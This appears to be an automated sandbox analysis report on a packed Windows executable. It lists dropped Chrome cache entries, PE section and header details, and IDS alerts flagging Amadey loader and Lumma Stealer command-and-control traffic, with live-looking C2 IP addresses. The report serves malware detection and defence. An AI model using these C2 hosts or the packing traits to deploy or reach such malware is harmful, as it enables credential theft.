Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Reputation:	unknown
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 169

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	unknown
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 170

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Reputation:	unknown
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 171

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	unknown
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 172

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	dropped
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
Reputation:	unknown
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 173

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Reputation:	unknown
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 174

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 175

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 176

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Reputation:	unknown
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 177

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Reputation:	unknown
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 178

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951228386553146
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'903'616 bytes
MD5:	6232a1aa692fe2b9f3f8e67d35c7dab7
SHA1:	87dc7bd254cac48669668a1833c10b8aab3775be
SHA256:	a7cf50803925abf03bcd899b82745e472e99963b2cd8063aa44249bd6c75395f
SHA512:	c29f2e3b76fe7c2ef81370990b02ee978b81f8ceebb191cc218672184ad7fd5046d8088bcc954f62b05f72255ce15d89c909c99ca3d2ab6d097725d13736300a
SSDEEP:	49152:P2VKHlPtXQxOpYkv5bhxX84iAMEoatUvyuCy9CIwD:P2mtg4+kvBNKzatUquL9CV
TLSH:	9C9533998F697A39C15E8EFC53D22E74CA958BD843260D787CC1E16F4D3E6011B4F42A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8bb000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDF20C059DAh
pminsw mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FDF20C079D5h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b9864	0x10	luuuoucb
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b9814	0x18	luuuoucb
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	5266c81db346d844c81b086264a8963a	False	0.9984992336512262	data	7.986035302117713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x400	3de8623f83804ad189c50a88443043e9	False	0.4892578125	data	4.197714396994034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b0000	0x200	0c332981cbd06323090a37d093a0b597	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
luuuoucb	0x31b000	0x19f000	0x19ee00	1f042365820cde6ce8793b7c8ee73f44	False	0.994196529451642	data	7.954738688708922	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eogwbmei	0x4ba000	0x1000	0x600	9ab2c74f103be146e7f013a7279dc83a	False	0.564453125	data	4.947302109729946	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4bb000	0x3000	0x2200	0a826d5d711e1af2885417188b9b8e61	False	0.057904411764705885	DOS executable (COM)	0.7438430399093257	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b9874	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x4b9aca	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-19T22:07:05.338158+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49838	185.215.113.43	80	TCP
2024-11-19T22:07:07.705197+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49864	31.41.244.11	80	TCP
2024-11-19T22:07:12.155256+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49858	TCP
2024-11-19T22:07:12.372868+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49912	185.215.113.43	80	TCP
2024-11-19T22:07:12.817776+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49917	185.215.113.16	80	TCP
2024-11-19T22:07:17.153478+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49964	172.67.155.248	443	TCP
2024-11-19T22:07:17.717350+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49964	172.67.155.248	443	TCP
2024-11-19T22:07:17.717350+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49964	172.67.155.248	443	TCP
2024-11-19T22:07:18.507885+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49973	185.215.113.43	80	TCP
2024-11-19T22:07:18.534032+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49978	172.67.155.248	443	TCP
2024-11-19T22:07:18.924390+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49981	185.215.113.16	80	TCP
2024-11-19T22:07:19.048101+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49978	172.67.155.248	443	TCP
2024-11-19T22:07:19.048101+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49978	172.67.155.248	443	TCP
2024-11-19T22:07:19.383421+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49987	172.67.155.248	443	TCP
